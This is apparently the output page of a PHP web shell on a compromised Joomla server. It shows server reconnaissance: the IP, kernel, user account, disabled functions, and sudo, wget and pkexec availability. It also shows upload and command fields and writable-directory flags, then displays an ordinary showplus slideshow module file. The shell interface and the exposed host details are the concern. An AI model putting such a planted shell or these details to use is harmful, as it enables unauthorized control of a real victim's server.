Private
Server IP : 195.201.23.43  /  Your IP : 18.218.44.61
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/cwd/modules/mod_showplus/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/self/cwd/modules/mod_showplus/fields/labels.php
<?php
/**
* @file
* @brief    showplus slideshow module for Joomla
* @author   Levente Hunyadi
* @version  1.0.5
* @remarks  Copyright (C) 2011 Levente Hunyadi
* @remarks  Licensed under GNU/GPLv3, see http://www.gnu.org/licenses/gpl-3.0.html
* @see      http://hunyadi.info.hu/projects/showplus
*/

/*
* showplus slideshow module for Joomla
* Copyright 2009-2010 Levente Hunyadi
*
* showplus is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* showplus is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with showplus.  If not, see <http://www.gnu.org/licenses/>.
*/

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

jimport('joomla.form.formfield');

/**
* Renders a control that shows whether labels are defined for a gallery.
* This class implements a user-defined control in the administration back-end.
*/
class JFormFieldLabels extends JFormField {
	protected $type = 'Labels';

	public function getInput() {
		$class = ( isset($this->element['class']) ? (string)$this->element['class'] : 'inputbox' );
		$ctrlid = str_replace(array('[',']'), '', $this->name);

		// add script declaration to header to hide control on folder change
		$folderctrl = $this->form->getField('folder','params');
		$labelsctrl = $this->form->getField('labels','params');
		$document = JFactory::getDocument();
		$document->addScriptDeclaration('window.addEvent("domready", function () {
		$$("input[name=\''.$folderctrl->name.'\'], input[name=\''.$labelsctrl->name.'\']").addEvent("change", function () { document.id("'.$ctrlid.'").setStyle("display","none"); }); });');

		// test whether labels file exists
		$labelsfile = $this->getLabelsFilename();
		
		// add control to configuration page
		if ($labelsfile !== false) {
			$checked = ' checked="checked"';
		} else {
			$checked = '';
		}
		return '<input type="checkbox" class="'. $class .'" id="'. $ctrlid .'" disabled="disabled"'. $checked .' />';
	}

	/**
	* Returns the language-specific labels filename.
	* @return File system path to the language file to use, or false if no labels file exists.
	*/
	private function getLabelsFilename() {
		// get value of parameters "folder" and "labels"
		$folder = $this->form->getValue('folder','params');
		$labels = $this->form->getValue('labels','params');
		$labels_multilingual = (bool) $this->form->getValue('labels_multilingual','params');

		if ($labels_multilingual) {  // check for language-specific labels file
			$lang = JFactory::getLanguage();
			$labelsfile = JPATH_ROOT.DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, $folder).DIRECTORY_SEPARATOR.$labels.'.'.$lang->getTag().'.txt';
			if (is_file($labelsfile)) {
				return $labelsfile;
			}
		}
		// default to language-neutral labels file
		$labelsfile = JPATH_ROOT.DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, $folder).DIRECTORY_SEPARATOR.$labels.'.txt';  // filesystem path to labels file
		if (is_file($labelsfile)) {
			return $labelsfile;
		}
		return false;
	}
}
Private